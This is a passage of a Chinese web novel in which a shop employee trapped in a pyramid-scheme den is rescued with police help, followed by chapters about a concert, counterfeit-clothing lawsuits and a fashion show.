虽然她住的地方没有电视，但老板每次去店里，都会带上几份报纸给她们看。正因如此，她才一下子就识破了对方的骗局。这些人哪里是什么大企业的员工，分明是“老鼠会”！是骗人的地方！ 刚刚才开完早会，空气中似乎还弥漫着刚刚那股莫名其妙振奋新人的气息。 “给，吃吧。” 面前放下一个搪瓷碗，水煮白菜加面条，和昨天晚上一样，白水加盐煮一大锅，每人分一碗，除了她以外的其他人却都吃的津津有味。 把她骗来的田大强坐在她对面，正哧溜哧溜的吃着面条，察觉到她的目光，还抬起头朝她笑了笑。 无耻！小人！ 小徐气的咬紧了后槽牙，腮帮子一鼓一鼓的，恨不得扑上去狠狠的咬他一口。 可就算咬他十口八口也没用，田大强已经彻底被这些人给骗了，早上喊口号时，他的声音最大最响亮，张口闭口就是赚钱，发财，名扬海外。 吃完饭是学习时间，十几个人挤在一个小房间里，至于说的什么，小徐一个字都没听进去。好不容易熬到了中午，午饭又是清水煮面条，这次连白菜都没有了。 小徐拿着筷子在碗里翻来翻去，她听说这些人是靠打电话给家里人骗钱的，昨天下午被骗过来后，她本想假装自己听话，问他们要电话，好给店里打一通电话，好让大徐她们帮自己报警。 可谁知打电话也是有要求的，新来的至少要待够半个月，哪怕她说还有一个人要来，也没能如愿。 “快吃快吃。”有人加快了吃饭的速度，“等会儿陈老师要来分享自己成功的经历。” 陈老师？ 小徐默默捏紧了筷子—— 作者有话说：[眼镜] 第六十九章 点内二三事3 小徐不敢多吃饭, 虽然所有人的饭都是从同一口锅里盛出来的，但她看到的新闻里说，这些人害怕新来的人逃跑, 会在饭里下安眠药。 “那个陈老师, 什么来头啊？”有人问，“她很厉害吗？” “当然！”田大强信誓旦旦接话, “陈老师当初只用了一年时间就连升好几级，现在已经去总部当经理了，听说她在海市买了好几套房子呢！” “真的？” “当然是真的！我还能骗你不成？”田大强表情振奋, 不大的眼睛中迸发出奇异的光彩, 说话时口水四溅, 小徐端着碗, 默默离他远了些。 田大强继续道：“我跟你们说, 这位陈老师可是总部专门派过来指导我们的。” 说着, 瞥了眼一脸木然的小徐, 似乎是觉得她不说不动的样子十分不识好歹, 撇撇嘴道：“你算是来着了, 陈老师可不是天天都来, 你知道在外面听她讲一节课要多少钱吗？” 小徐没理他, 但旁边的人已经问出了声，“多少钱啊！” 小徐伸出一只手，在几个人眼底下划过, “看到没？这个数！” “五百？！” “五千！”田大强夸张的把那只手在半空中使劲一挥。 被洗脑的几个人顿时大吸一口凉气, 一个个的脸上浮现出如同田大强一样亢奋的神情。 那可是五千块啊！放在他们老家, 有多少人一年也赚不到这么多钱。就算是在海市，也要在工厂打工好几个月。 别说是他们，就连小徐听到五千这个数字都禁不住心神一颤。 自己辛辛苦苦才能赚到的钱, 别人说几句话就能拿到手，怪不得明明报纸上有那么多的新闻报道，却还是有这么多人不断的被骗，甚至主动去骗其他人。 正说着，一阵高跟鞋踩在水泥地上的声音由远及近。 小徐闻声看去，只见一个二十七八岁的年轻女孩从外面走了进来。女孩穿着身白西装，一步裙，披着卷起来的长发，看起来就像电视上的女明星。 难道又是个像她一样被骗过来的？ 就在这时，跟在女孩后面的男人脸上挂着笑，对着她谄媚道：“陈老师，您看，这些就是我们这里的学员。” 陈老师居然是个这么年轻的女孩，小徐不由得瞪大了双眼。 很快，十几个人在空地上席地而坐，连个凳子都没有，好几个人手里还拿着纸笔。陈老师站在最前面，先是讲述了自己不幸的经历，家境贫寒，父母重男轻女，她靠着自己的努力来到了海市，却被人骗到了黑工厂里打工…… 就在众人为此生气愤怒时，陈老师话锋一转，说起了自己有幸加入公司，感受到了来自大家庭的关怀，在兄弟姐妹们的帮助下，她的生活发生了天翻地覆的变化…… 小徐似乎也被这振奋人心的演讲所打动，旁边的田大强注意到了，得意道：“人家不都说了，老乡见老乡，两眼泪汪汪。咱俩这么好的关系，我还能骗你吗？” 小徐迟疑道：“真的能赚大钱？” “哼！”田大强从鼻子里喷出一股气，“你不信我，难道还不相信陈老师？” 小徐又迟疑地看向陈老师。 田大强有理有据的说：“你看陈老师穿的，跟电影明星一样，肯定是进口货，只有有钱人才这么穿，一般人想买都买不到。” 小徐忍了忍，没说话，保持着认真聆听的姿势点头。 田大强用手比了个打电话的姿势，“她还有手机，你见过手机吗？”不等小徐回答，他便自顾自的往下说：“要是没钱，怎么可能买得起手机？” …… 陈老师演讲完毕，就在其他人要围上去的时候，小徐一马当先地冲在了最前面，大声道：“我有一个好朋友也想来，陈老师，我能把她也叫来吗？” 好朋友？ 陈老师眸光一闪，对她说：“当然可以，你的那个朋友现在在哪里？” “她就在海市！”小徐说：“只要我给她……给她干活的地方打个电话……” 她话没说完，原本跟在陈老师身后的男人小声道：“她是昨天才来的。” 小徐猛地加大了声音，“我是听了陈老师的演讲，才知道咱们公司原来这么厉害，我……我也想赚钱，买车！买房子！就像陈老师一样。”说着，她用期待的眼神看向女生。 听到她说是听了自己的演讲才改变想法，陈老师笑容扩大，但还是婉拒了她的请求。小徐没有放弃，继续道：“我出来的着急，没带钱，我……我攒了一两千块钱呢，都放在住的地方。” ……钱。 毫无疑问，小徐的这句话打动了他们。 * 既没有手机，又没有监控，在茫茫人海里找一个人哪有那么容易。 大徐在店里守着座机，江雪调转车头，去南阳路和关山越碰头。 对方约小徐见面的地方并不在南阳路，不过想想就能明白，如果直接把传销窝点的地址告诉小徐，万一小徐告诉了别人，他们岂不是会被一网打尽。 还好有和小徐同住的大徐，两个人住的地方没有电视，下班回去后只能靠聊天打发时间。 南阳路，就是小徐第一次遇见她那位老乡的地方，并且当时对方手里拎着一兜白菜。既是偶遇，又是买菜，说明这个人很有可能就住在这附近。 住的地方较为偏僻，房租便宜，甚至有可能是快要拆迁的危楼危房，年轻人居多，并且是多个人住在同一间房里，早上和晚上会有唱歌喊口号的声音……江雪把这些编辑成短信发给关山越。 回想起上辈子刷短视频时看到的新闻，有人通过点外卖发现藏起来的诈骗团伙然后报警，江雪不由得在心里叹气。 还真是科技改变生活。 正想着，大徐从店里打来了电话，语气急切，“老板，小徐刚刚打电话过来，让我去邮局给她汇钱。” * 小徐没想到这伙人竟然如此警惕，不仅安排了好几个人看着她打电话，还只让她对朋友说去邮局汇钱。 “你先在这里适应一段时间，等你做好了，再让你朋友过来，到时候你还可以教教她。” 话说的好听，可被几个人虎视眈眈的盯着，小徐不由得捏紧了拳头。似乎是怕她用方言求救，盯着她的人里还有田大强。 就在电话被接通的瞬间，小徐灵光一闪，忽然想到大徐之前教过她几句家乡话。 * “菜市场？”江雪和关山越对视一眼，关山越会意，立马叫人去打听附近有哪些菜市场。 大徐不确定道：“我也不知道有没有用，但小徐确实说了这三个字。” 她把自己和小徐的对话说了一遍，“菜市场”三个字夹在一长串话里，要不是她听的仔细，并且这个三个字用的是她的家乡话，还真的会被忽略过去。 “不管有用没用，现在我们不能放过任何一丝细节。”江雪说：“你找个人和你一起，去派出所把这件事告诉警察。” 南阳路有一个大菜市场和一个小菜市场，可这两个地方都是人口密集区，要是把传销窝点设在这种地方，不出两天就会被人发现。 头顶的大太阳晃的人头昏眼花，江雪扫过四周，忽然想到了什么，“这附近有没有早市？” 小徐说菜市场，可能不是亲眼看到，而是听到了叫卖声，而她是昨天下午才被骗过去的，排除种种可能，就只有早市这种可能性了。 有目标之后找起来就快多了，南阳路临近郊区，算是城乡交界处。每天早上，附近乡镇里的人会骑着自行车或三轮车来城里卖菜，久而久之就形成了一处早市。 原本早市附近是处居民楼，可是一年前那块地方被化为了拆迁区，居民楼里面的人搬走的七七八八，有的房子被便宜租了出去，有的房子直接空着。 听到这里，江雪基本确定这里十有八九就是他们要找的地方。关山越想带人直接过去，江雪拦住他道：“不，先报警，让大家在外面守着，不要打草惊蛇。”—— 作者有话说：[化了] 第七十章 店内二三事（完） 接到报警后的警方兵分两路, 一路同样来到南阳路调查，另一路则去往小徐和对方约定见面的地方，去查一查有没有监控拍到他们。 然而这时候的监控覆盖率还不高, 查了一上午, 只看到小徐一个人到达约定地点，在周围转了一圈后, 消失在了监控范围内。 查监控没有结果，而另一边到南阳路找人同样困难重重。范围大，且居住在这里的大都是外来务工人员, 调查起来极为困难。 就在这时, 他们接到了大徐打来的电话, 当即重点调查安阳路菜市场, 连带着其他地方的菜市场也没有放过。没过多久, 他们又接到江雪的报警, 在附近的警力立马赶了过去。 没人觉得麻烦, 老鼠会这种害人害己的组织, 如果放任不管, 哪怕只有一天, 就不知道会有多少钱被骗。 反之, 要是早一天抓到他们，就能避免更多人被骗，还能把那些刚刚被拉进去的人解救出来, 以免他们误入歧途。 时间原因, 最先赶来的警察只有两个, 本来还担心他们人少，到地方一看，好家伙, 足足有十几个彪形大汉再等着他们，各个出口和路口也有人守着。再一问，现场已经侦查清楚，对面有几个人，住在哪一层楼的哪个房间里，以及周围的环境…… 年轻一点儿警察笑道：“挺专业的嘛。”这种专业的侦查手段，难道是同行？ 和他搭档的警察年纪稍大，闻言多看了关山越两眼，问道：“你是不是姓关？” 年轻警察不明所以，等关山越走远，才忍不住问：“师父，你认识他？” “安泰你知道吧？”被他叫做师父的老警察说：“关先生是安泰的老板。” “就是那家安保公司？听说他们优先招聘退伍军人？”年轻警察反应过来，“怪不得侦查的这么清楚，原来是正经八百的侦察兵啊！” 老警察哼笑一声，“不止。” “啊？还有什么？” “几年前在火车上被抓的那伙人贩子，还有当年那起轰动全国的港城商人绑架案。” 年轻警察刚从警校毕业，被分到了片区派出所实习。这两起案子发生的时候，他还在读高中，整天不是打球就是看武侠小说，哪里会关注这些案件新闻。不过光是听名字，就知道是两起大案子。 “可这跟安泰有什么关系？” 老警察拍了拍他的肩膀，“关先生为这两起案子的侦破提供了关键线索。” 警民合作，盘踞在老居民楼的传销团伙被一网打尽，有人见势不妙想要翻墙逃走，却不料四周早就被警察和协助警方办案的安泰员工牢牢守住，就算是只苍蝇也飞不出去。 被抓的这十几个人的态度也相当耐人寻味，被骗来的小徐自然是惊喜万分，看到等在外面的江雪后更是激动地哭了出来。 至于剩下的人，有的脸色灰暗，被警察带出来时低头弓腰，生怕被人看到长相。有的则像田大强一样，仍旧笃定自己参与的是一个受国家保护的大项目，哪怕被警察抓住，仍旧比过年的猪还难按，嚷嚷着让警察赶紧放了自己，否则就是耽误国家的事。 江雪：“……” 其他人：“……” 小徐十分不解，“老板，新闻里都说这是骗人的了，他怎么还相信啊？” 江雪：“因为骗他的不是别人，而是他自己。” 或者说一开始是别人骗了他，但当巨大的利益摆在他面前时，哪怕是虚假的利益，也是令他心甘情愿的沉溺其中。 作为受害者，小徐被带到派出所做了个笔录。她指认出这伙人的老大，还把下午时来了个陈老师的事告诉了警方。 只可惜警察到的时候，那个所谓总部来的陈老师已经走了。 总部？ 看来这个传销团伙只是一个小小的下线窝点。 警方不敢松懈，抓紧时间审讯被抓的十几个人，遗憾的是他们大部分人都是刚加入不久，时间最长的才五六个月，在团伙里等级十分低，陈老师他们也是第一次见，平时只听老大说起过这个人。 “我，我也不知道她叫什么。”被警察抓住后，团伙老大就自己完了，争取戴罪立功道：“大家都叫她陈老师，我听别人说，她好像说过自己叫陈雪。” * 回到门店的小徐和大徐抱作一团，听大徐说是老板让她第一时间报警，还专门派人去找她，小徐更是感动的一塌糊涂，对江雪连声道谢。 江雪安慰的拍拍她的后背，“好了，今天回去好好睡一觉，明天给你们俩都放一天假，在家休息也好，出去散散心也行。” 小徐有心拒绝，可她从昨天晚上就没闭过眼，之前是精神高度紧张才不觉得困，眼下一松懈，困劲便铺天盖地的涌了上来。 不光是她，大徐也没好到哪里去，眼中爬满了红血丝，眼底青黑，连脸色都变得黄扑扑的。 以及整整一天的惊心动魄，即便已经脱离了险境，可带来的负面影响不是一时半会儿就能彻底消失的。 听小徐说跑了个陈老师，大徐颇为遗憾的说：“真是便宜她了。” “跑得了和尚跑不了庙。”江雪说：“有那么多人看到她，说不定警察已经通过描述把她的样子画出来了。” “画出来？”大徐惊讶道：“没有照相机，没有照片也能画吗？” 江雪回忆着自己上辈子看的刑侦剧，好像现实中确实有模拟画像师这个职业。 说起陈老师的长相，小徐忽然“咦”了一声，“那个陈老师和老板……” 话说一半没了下文，江雪好奇的看过去，“怎么了？” 小徐挠挠头，脸上浮现出一抹不好意思的笑，“没有没有，是我看错了。”她刚刚发现，那个陈老师居然和老板长得有点儿像，要是不知道的人，恐怕会误以为她们是姐妹。 * 陈雨婷慌慌张张的逃回了住的地方。 本来她是想回去拿自己遗忘的墨镜，那可是她花了好几十块钱买的，上面还有大牌标志，可谁知刚到街口，就看到他们被警察押送着送楼上下来。 陈雨婷不敢停留，连忙遮住脸跑走。 说是住的地方，其实是另一个传销窝点。陈雨婷出门讲课，回来时却慌里慌张，自然引起了其他人的注意，“陈雪，你跑什么呢？” “他们都被抓了！” “什么？！”此言一出，其他人顿时变了脸色。 “那我们怎么办？” “我们会不会被发现？” “警察不会找到这个地方吧？” 话音落，几个人的目光齐刷刷的看向陈雨婷，“陈雪，你回来的时候，没有被人跟上吧？” 话里话外的意思，就是陈雨婷不该回来。 陈雨婷气恼不已，她的身份证和暂住证都在这儿，她不回来还能去哪儿？难不成叫她在大街上睡觉？ 陈雨婷朝他们翻了个白眼，“放心吧，没人跟着我。” “你！” 另外几人神情愤愤，可陈雪的阶级比他们都要高，平时陈雪就对他们吆五喝六，偏偏大家又是一根绳上的蚂蚱，他们心里不服气，却也无可奈何。 见状，陈雨婷冷哼一声，眼中满是得意之色。 把江雪推出去替自己相亲后，陈雨婷就琢磨着怎么才能赚大钱，工厂里的领导催她去上班，可她好不容易有了重来一次的机会，怎么甘心每天辛辛苦苦工作，每个月到手就那么一两百块钱。 更别说工厂马上就要倒闭，连工资都开不出来，他们这些工人只能下岗。 她妈王秀红张罗着给她相亲，催她结婚。可那些个相亲对象，要么长得不怎么样，还没有关山越十分之一的好看，要么就是没什么钱，没房没车也就算了，连一万块钱的彩礼都拿不出来。 一连吹了好几个相亲对象，她从工厂辞职的事也被发现了，陈雨婷被家里人好一顿臭骂，她说要拿钱做生意，他们又不同意。 于是她找机会从家里偷了一笔钱，借口自己去市里找同学玩，带上自己的身份证，坐火车去了广市。 然而在广市呆了两三个月也没找到工作，反倒是手里钱因为住宾馆，下馆子花了七七八八。陈雨婷想到这时候买股票能赚钱，可去股票交易所一看，她手里的前连股市的门槛都够不上。 机缘巧合下，陈雨婷认识了一个朋友，朋友告诉她有赚大钱的路子，正是在这个朋友的介绍下，她加入了传销。 作为一个从几十年后重生回来的人，陈雨婷当然知道所谓能赚大钱的传销是犯法的。 但是…… 陈雨婷握紧了拳头。 她上辈子看到过一些新闻，新闻里说传销是骗人的，骗来的钱都被那些高层拿走转移到了国外，一旦有人被抓，他们就跑到国外继续享福。 那可是国外！ 重生后的陈雨婷依旧保持着自己朴素的思想，认为国外的月亮比较圆。 要是她能成为高层…… 现在她手底下已经管了不少人，马上就能拿到公司股份，到了年底还能拿分红。 怀揣着美好的愿景，陈雨婷躺在床上慢慢睡去。 半夜，激烈的敲门声吵醒了睡着的众人—— 作者有话说：[眼镜]《 》 第71章【VIP】 第七十一章 完结倒计时1 确如江雪想的那样, 警方找来了一位模拟画像师，仅凭几个人的描述，就画出了陈老师的画像。 本就心虚害怕的一伙人看到画像, 更是被吓破了胆, 不敢隐瞒，竹筒倒豆子似的把自己知道的大小事全都说了出来。 包括他们平时联系的电话号码, 可惜是个不记名的临时电话卡，查不到持有人是谁。 与此同时，警察拿着陈老师的画像在窝点附近走访查问有没有目击者。 许是因为下午警察抓人时的动静引来了不少人看热闹, 还真有人看到了这么一个人, 不过不是长相, 而是她穿的衣服。 “白西装, 一步裙, 还有那什么, 高跟鞋！”这身衣服在九十年代初还算时兴, 现在都快千禧年了, 流行的东西早就变了。去年夏天流行穿吊带裙, 外面再穿一件半透明的小开衫。今年流行什么？那当然是最先在他们海市开店的琼芳。 烫了满头小卷发的阿姨与有荣焉, 当然也没忘了重点, 连说带比划，“我还说那姑娘怎么跑那么快呢，那么高的鞋跟, 也不怕崴了脚。” 走访的警察忙道：“那她去哪儿了, 您看到了吗？” 阿姨抬手一指, “就那边，她坐了个计程车走了。” “计程车？什么颜色的？” 阿姨只顾着看热闹，哪会注意这么多, “哎呦，这我还真没看清。” 海市的计程车那么多，这边继续走访看有没有人看到计程车的颜色，或者看到车牌，另一边迅速联系出租车公司，询问这个时间段内有哪些车经过这个地点，并接到了一位年轻女性乘客。 双管齐下，陈雨婷怎么都没想到，自己为了快点儿逃离现场而搭成的计程车，竟然成了警察找到她的帮手。 他们这伙人知道的远比之前那些人知道的多，经过交代，他们是一年多之前从广市来到海市的，上面交给他们的任务是开拓业务，简单来说就是拉人头，发展下线。而他们的总部也并非在广市，而是在深市。 陈雨婷一五一十的说完，抽噎道：“我也是被骗到这里的，他们扣押了我的身份证，还打我骂我，要是我不听他们的话……” 警察并没有被她的眼泪所欺骗，陈雨婷不仅被上级派到海市发展下线，还能单独出门。就算一开始她确实是被骗进来的，可她获得自由后没有选择报警，而是用话术继续欺骗他人。 调查清楚后，海市警方当即和广市、深市两地取得联系，这场由一个外来妹被骗入传销团伙，随即引发海广深三市联合跨省办案的大事件，最终在两个月后落下帷幕。 团伙成员被尽数抓获，一些无辜被骗的人在调查后被释放，但像陈雨婷这样，一开始被骗，后来却助纣为虐的团伙成员，则被关进了看守所，等待法律的审判。 海市电视台针对这起案件专门策划了一期节目，还邀请了当事人小徐和大徐，请她们讲讲事情经过，以此警醒广大群众不要上当受骗。 节目播出当天，江雪带着关嘉言和关山越，一家三口乘飞机前往京市。 * 经过一年的策划和筹备，武凌的个人演唱会在京市体育馆如期举办。 关嘉言是武凌的忠诚粉丝，得知武凌要开演唱会，早早就期待起来。 这时候的演唱会门票需要到指定售票点现场购买，而每个售票点分到的门票数量有限，只能先到先得。况且这时候的门票并未采用实名制，一些黄牛便趁机大量购买门票，然后再以高价卖出。 不过没等江雪去售票点排队，武凌和唐晓曦来海市试穿演出服，顺便给她带来了几张门票，还是内场的VIP座位。 唐晓曦一边试衣服一边笑嘻嘻的说：“原来开演唱会还有亲友票，我还以为都要卖出去呢。” 江雪本来只留了两张票，被唐晓曦提醒，才想起来还有个关山越。想了想，还是拿了座位号挨着的三张门票，除了她和关嘉言之外，捎带着关山越去见见世面。 这是最后一次试衣，确认无误后，就要把演出服送去京市。 加上唐晓曦要穿的“神妃仙子”，三件定制礼服都是纯手工制作，耗费了大量的工时。由江雪这边整理装箱后，武凌的工作团队派人接走，乘直达特快列车运抵京市。 京海两市一南一北，气温差异极大。已经是十月份，虽已过了秋分，但海市的暑热尚未完全散尽，大街上穿短衣短裤的人仍是多数。 相比之下，京市的气温就低了些，他们到的这天还刮起了大风，大风裹挟着砂砾扑在脸上。江雪有丝巾挡脸，关山越皮糙肉厚，更恶劣的环境都不怕，只有关嘉言被风吹的惨兮兮，还不能张嘴说话，否则就要喝一肚子带着黄沙的风。 在酒店睡了一觉后，关嘉言发现京市不仅风大，还十分干燥。海市气候湿润，即便到了冬天也一样。关嘉言从小到大都不喜欢涂润肤霜，这回到了京市，干燥的气候加上大风天，逼得他一大早去敲隔壁房门，要借江雪的护肤品用。 足足敲了两分钟的门，终于将房门敲开一条缝，黑着脸的关山越丢给他一瓶护肤水，“啪”的一声又把门关上了。 “舅……” 刚说了一个字，险些被门拍脸的关嘉言：“……” 糟了，忘了舅舅也在。 * 前一天还是大风天，今天倒是个好天气，秋高气爽，万里无云，就连阳光落在身上都是暖洋洋的。 前后两辈子，江雪还是第一次看演唱会。来到体育馆后，不由得被外面的人山人海给镇住了。果然不论什么时候，粉丝们的热情都是难以磨灭的。 上辈子姜衡虽然出了不少歌，但他还要拍戏，而筹备一场演唱会至少需要大半年的时间。姜衡是一个做事认真细致的人，不会将一场不完美的演唱会呈现给粉丝。 想到这里，江雪转头看向关嘉言，微笑。 关嘉言缩了缩脖子，今天早上舅舅给他的那瓶护肤水，他涂完脸后觉得挺好用的，顺便把胳膊和腿也涂得润润的，一瓶护肤水被他用了整整大半瓶。舅妈发现后深呼吸了好几次，然后告诉他未来一周舅舅和他睡一个房间，就算回到海市也一样。 关嘉言觉得委屈，明明是舅舅把护肤水给他的，他只是多用了那么亿点点，要怪，也应该怪舅舅没给他说清楚。 “舅妈，怎么了？”关嘉言眨眨眼。 不知不觉间，十二岁的关嘉言已经长到了一米七高，几乎让人忘了第一次见到他时那个瘦瘦小小，刚刚到她大腿高的小孩子。 “我在想……”江雪抬手拍了拍他的肩膀，沉吟片刻，轻声道：“要是你开演唱会，会是什么样子。”—— 作者有话说：[眼镜]《 》 第72章【VIP】 第七十二章 完结倒计时2 演唱会一共三场, 十月份在京市，十月中旬在深市，最后一场则在港市。 这样安排颇有深意, 京市是武凌老家, 港市则是她这么多年奋斗打拼的地方。一始一终，颇有深意。 在演唱会的宣传采访中, 武凌亲口说出了这样安排的原因，这将是她最后一次举办演唱会，未来她还会出新歌、新唱片, 却不会再开演唱会了。 开演唱会对歌手的体力是个不小的要求, 而武凌看着年轻, 实则再过几年就要五十岁了。前两年她又生了一场病, 肺部受到感染, 治好后便觉得精力更加不如以前。 所以武凌和公司商议后, 便筹备了这次的演唱会。 由江雪亲手设计的两件演出服, 武凌穿了两次, 一次首场, 一次尾场。 江雪在首场演唱会后和穿着演出服的武凌、唐晓曦分别拍了合照, 回到海市后便将照片放大洗了出来, 加上相框挂在了店里最显眼的地方。要是有顾客认出来，店员就会热情的告诉他们这是琼芳的礼服系列，全手工制作。 这时候还没有微博、小红X、抖X之类的社交平台, 拥有电脑的人家更在少数, 宣传全靠报纸和电视。 江雪把照片挂在店里的宣传效果还不怎么明显, 但很快，大大小小的媒体对演唱会的报道蜂拥而至，此时不蹭还待何时？ 不过还没等江雪主动蹭热度, 武凌就在采访中提及自己为演唱会做了充足的准备，歌曲选择，舞台设计，连演出服都是找的专业服装设计师全手工制作，努力做到尽善尽美，尽可能的给广大歌迷呈现出一个完美的舞台。 唐晓曦则更加直接，不等记者问，便大咧咧的说她的演出服出自女装品牌琼芳，还大大方方的朝镜头展示自己身上穿的衣服，问记者好不好看。 待到记者点头后，唐晓曦得意洋洋的表示。“我跟他们的设计师是好朋友，去店里报我名字，给你打折。” 江雪在娱乐频道看到了这段采访，不得不说这时候明星和媒体记者之间的氛围还是相当和谐的，最起码明面上和谐，不会像后来那样，什么话都不敢说，多余的表情不敢做，生怕被截下来做成动图发到网上，被网友一帧一帧的审判。 总之唐晓曦的这段采访，在给琼芳做宣传的同时，也很是给自己拉了波好感。 要说演唱会结束后江雪最大的感受，就是门店的生意更好了，连外地的经销商都打电话过来想要多一点儿货。 如果说先前琼芳举办的那场海选代言人活动只是在海市打出了名气，顺便辐射到了周边地区，那么借着演唱会的东风，琼芳两个字迅速刮遍了小半个国土。 目前琼芳的衣服只卖到了海市、京市、深市和苏市四地，当初签订的合同便是一个地区只有一家经销商，就算有新的经销商开出更好的价格，江雪也没松口。 到了十二月，琼芳和甘省、湖省、宁省等多个城市谈下了经销合作。 眼看工厂的出货量一天高过一天，江雪和乔亚楠正式签订合作协议。江雪出钱入股服装厂，今后服装厂的生产线就正式分为两部分，一部分生产童装，另一部分生产女装。 童心和琼芳走的都是原创服饰的路子，在自家工厂里生产，虽然还是不能杜绝市面上的假冒伪劣，至少能保证在她们开始售卖之前，新品的图纸不会从工厂流传出去。 说起假冒伪劣，乔亚楠简直有一肚子苦水要倒。 还没开店时，就有服装厂拿着他们厂子里卖出去的衣服打板制衣，后来她在百货大楼开了童心服装店，给每件衣服都打上了童心的标签，这些服装厂竟然有样学样，不仅抄袭他们的服装款式，还取了同心、童芯之类的名字。 乔亚楠烦不胜烦，索性直接找了个律师，在律师的建议下先做了版权登记，随后再去跟这些服装厂谈判。 可结果却不容乐观，能被找到的服装厂一口咬定自己没有抄袭，还拿出地头蛇的派头，要不是律师跑得快，说不定要被他们关在厂子里打一顿。还有一部分压根儿找不到货源，想算账都找不到人。 江雪也遇到了类似的情况，虽说他们做了版权登记，可别说是现在，就算是二三十年后，原创被抄袭的情况还是屡见不鲜，与之相对应的是维权极为困难，更有甚至，盗版卖的比原创还要贵。 但让江雪怎么都没想到的是，竟然会有人抄她给武凌设计的那两件演出服，甚至堂而皇之的打着演唱会同款的旗号公开售卖。 江雪：“……” 江雪默默的将这件事告诉了武凌。 和唐晓曦穿过的“神妃仙子”、“月影清梦”不同，这两套衣服的版权在江雪手里，而武凌在演唱会上穿的那两件，则是被经纪公司花高价直接买断，毕竟是武凌最后一场演唱会上穿的衣服，是要当做收藏品放到公司里，未来拿去拍卖也不一定。 粉丝做一件自己穿穿是没什么问题，可这种大规模的量产，投放市场盈利的行为，妥妥的侵权无疑。 江雪或许不能拿他们怎么样，经纪公司就不一样了，打版权官司，他们可是专业的。 把事情告诉武凌后，江雪就理所应当的做起了甩手掌柜。果然，不出一个月，武凌就给她发来消息，告诉她人找到了，经纪公司报了警，又问江雪要不要也报个警，到时候一起追责。 武凌道：“警察去他们仓库调查的时候，发现了半个仓库的琼芳盗版。” 江雪：“……”还真是意外之喜。 生产这两件礼服的是广市的一家服装厂，接的也是别人的单子。除了这两件以外，“神妃仙子”和“月影清梦”他们也打算生产，只不过想着武凌的名气更大，才先出的那两件。 顺藤摸瓜，给服装厂递单子的人也找到了，并且这人不是第一次给服装厂下订单，之前下的订单也都是琼芳的盗版。 于是江雪去派出所报了案，并在乔亚楠的推荐下请了名律师全权负责这件事，随后就将这件事抛到了脑后。直到官司打完，判定对方侵权成立，不仅要销毁已经生产出来的货物，还要赔偿她一大笔钱时，江雪才从判决书上得知对方的姓名。 居然还是个老熟人，当初因为抄袭被服装公司开除的文治平。 这算什么？不忘初心吗？ 怪不得在案件办理期间一直通过律师传话，说要见她一面，可惜江雪正忙着筹备琼芳的一周年纪念会暨新品发布会，腾不出一点儿时间和他见面。 更何况，也没有什么见的必要。 * 一年前琼芳刚刚成立时，江雪借着选代言人的名头，开了场不算时装秀的时装秀，甚至连走秀的地点都是在商业街，只是在地上铺了条红毯。 而这次的时装秀，江雪从半年前就开始选择地点，经过多地考察，综合环境、交通、气候等等因素，最终将地点定在了苏市。 徐琳琳特意从国外飞回来参加时装秀，江雪开车去机场接她。 一见面，江雪几乎要不相信自己的眼睛。和三年前相比，徐琳琳身上那股拒人于千里之外的气质消失殆尽，傲气仍然存在，却不会让人觉得讨厌，反而有种年轻人就该如此的感觉。 江雪要先送她去酒店休息，徐琳琳一口拒绝，“我要先看门店，还有工作室！” “行。”江雪笑着答应了。 车子开到商业街，看到开在一种大牌专卖店旁的琼芳，徐丽丽吃惊的长大了嘴巴，“这就是你说的服装店？” 江雪指了指门上的招牌，笑眯眯道：“如假包换。” 徐琳琳脸上的表情顿时化作了一言难尽。 江雪可从来没有告诉过她，她口中的服装店上下两层，单层面积将近三百平方。 徐琳琳还在震惊当中，江雪从柜台里拿了张邀请函递给她。邀请函采用园林元素，青绿色晕染，仿窗框设计，将园林风景绘在其中。 翻开来看，一手极为漂亮的蝇头小楷，写着被邀请者的名字，时装秀召开的地点和时间。 阳春三月，春暖花开，园林之中百花盛开，郁郁葱葱，正是一年里的好时节—— 作者有话说：下章开完时装秀就完结了《 》 【正文完】 第七十三章 正文完 千禧年的漫天烟火中裹挟着人们对新世纪的祝福和期盼, 不知不觉间，二十一世纪到了。 看着日历上的时间，江雪总会有种恍然隔世的错觉。有好几次写日期时, 都是先下意识的写了个“1”, 随后才反应过来，已经是2000年了。 生活好像并没有发生太大的变化, 唯一值得关注的就是关嘉言在去年暑假时拍的家庭情景喜剧在过年期间正式开播。 毕竟是关嘉言的名字第一次被写进主角栏里，江雪特意从报纸上记下了开播时间。晚上吃过饭，一家三口坐在沙发上嗑瓜子时, 顺手把频道调了过去。说来也巧, 屏幕里正在播放的刚好是关嘉言出演的片段。 “舅妈！”关嘉言猝不及防, 腾的从沙发上起身, 这半年他又长高了一些, 声音似乎也变粗了。 “啊？”江雪被他吓了一跳, “怎么了？” 关嘉言的脸涨的通红, 却也不会直接从她手里抢遥控器, 而是站在原地跳脚, “不看这个, 快快快换台！我要看相声锦集！” 江雪的目光落在他红如猴屁股的脸上, 脑筋一转便明白了，不由得“噗嗤”一笑，把遥控器丢给他, “行行行, 给你遥控器, 你换吧。” 六岁时的关嘉言会守着电视看自己的表演，穿着小西装，梳着三七分的模样还历历在目, 马上就要十三岁的关嘉言看到自己演的电视剧，反倒不好意思起来。 还真是时光如流水，一晃八年时间就这么静悄悄的过去了。 过完年，琼台要开新品发布会的消息登上了报纸。这次的发布会没有投票选代言人的活动，一开始只引起了一小波人的注意。倒是还有人记得一年前琼芳开业当天在商业街举办的走秀活动，纷纷这次这一次的新品发布会开在哪里。 总不会还在商业街吧？ 很快，这个问题得到了解答。 琼芳的这场名为“盛世雅韵”的新品发布会将在苏市的一家私人园林中举办。 消息一出，立马引发了一阵不小的热潮。 时装秀在二十一世纪已经不算是个新鲜词了，尤其是在海市这样的经济发达地区。不过，大家普遍印象中的时装秀都有着标准的T型舞台，观众坐在舞台两侧观看表演。 而园林里假山假水，绿树丛荫，各种小路迂回曲折，实在让人想象不到该如何走秀。 人人都有好奇心，江雪趁机把邀请函送了出去，唐晓曦和武凌自然不能少，还有关嘉言参演过的剧组的演员们。除此外，江雪还给经纪公司送去了一部分邀请函，一二线的大明星们请不来，三四线的小明星还是有可能会来。 除了明星艺人，一年来在琼芳消费过万的顾客也在受邀之列，还有已经和琼芳确定合作、打算和琼芳合作的经销商们，时尚杂志的编辑，服装设计界的前辈……写名单时江雪才警觉自己竟然要邀请这么多人，这还只是一场小型的时装发布会而已。 经过几个月的紧张筹备，很快来到了发布会当天。 作为一个创立不过一年之久的品牌，琼芳的发展速度可以说极为迅速，其中最主要的原因就是由琼芳开创性的“国风”概念。 